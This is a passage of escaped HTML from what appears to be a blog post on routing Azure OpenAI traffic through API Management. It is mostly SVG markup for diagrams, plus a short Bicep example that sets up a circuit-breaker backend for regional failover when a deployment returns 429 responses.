x='344' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='52' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eEvery request travels through an inbound policy chain before it reaches the model, and every response passes through an outbound chain before it reaches the caller. That\u0026rsquo;s the architecture. The rest of this post is filling in those boxes.\u003c/p\u003e\n\u003ch2 id=\"2-backend-configuration-private-openai-endpoints\"\u003e2. Backend Configuration: Private OpenAI Endpoints\u003c/h2\u003e\n\u003cp\u003eThe first step is configuring APIM to use your private Azure OpenAI instances as backends. In 2026, we use the \u003cstrong\u003eBackend Pool\u003c/strong\u003e and \u003cstrong\u003eCircuit Breaker\u003c/strong\u003e features to handle high-availability and regional failover natively.\u003c/p\u003e\n\u003ch3 id=\"implementing-circuit-breakers\"\u003eImplementing Circuit Breakers\u003c/h3\u003e\n\u003cp\u003eA single OpenAI deployment has a fixed Tokens Per Minute (TPM) quota. To prevent outages during peak CI/CD runs, pool multiple regional deployments. The circuit breaker monitors for \u003ccode\u003e429 Too Many Requests\u003c/code\u003e responses and automatically shifts traffic to a healthy region.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Backend with native Circuit Breaker for Azure OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e openAiBackend \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.ApiManagement/service/backends@2023-09-01-preview\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eapimName\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/openai-eastus\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    url: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://openai-eastus.openai.azure.com/openai\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    protocol: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;http\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    circuitBreaker: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      rules: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          failureCondition: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            count: 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            interval: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;PT10S\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            statusCodeRanges: [{ min: 429, max: 429 }]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          tripDuration: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;PT10S\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          acceptRetryAfter: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// Critical for honoring OpenAI retry windows\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"regional-circuit-breaker-logic\"\u003eRegional Circuit Breaker Logic\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 96,48 L 304,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,96 L 304,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,176 L 312,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,176 L 560,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,224 L 312,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,224 L 560,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,8 L 88,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,48 L 88,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,136 L 88,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 88,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,16 L 312,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,96 L 312,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,176 L 312,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 568,16 L 568,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 568,216 L 568,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,96.000000 92.000000,90.400002 92.000000,101.599998' fill='currentColor' transform='rotate(180.000000, 96.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='104.000000,224.000000 92.000000,218.399994 92.000000,229.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='312.000000,48.000000 300.000000,42.400002 300.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 304.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='568.000000,176.000000 556.000000,170.399994 556.000000,181.600006' fill='currentColor' transform='rotate(0.000000, 560.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' 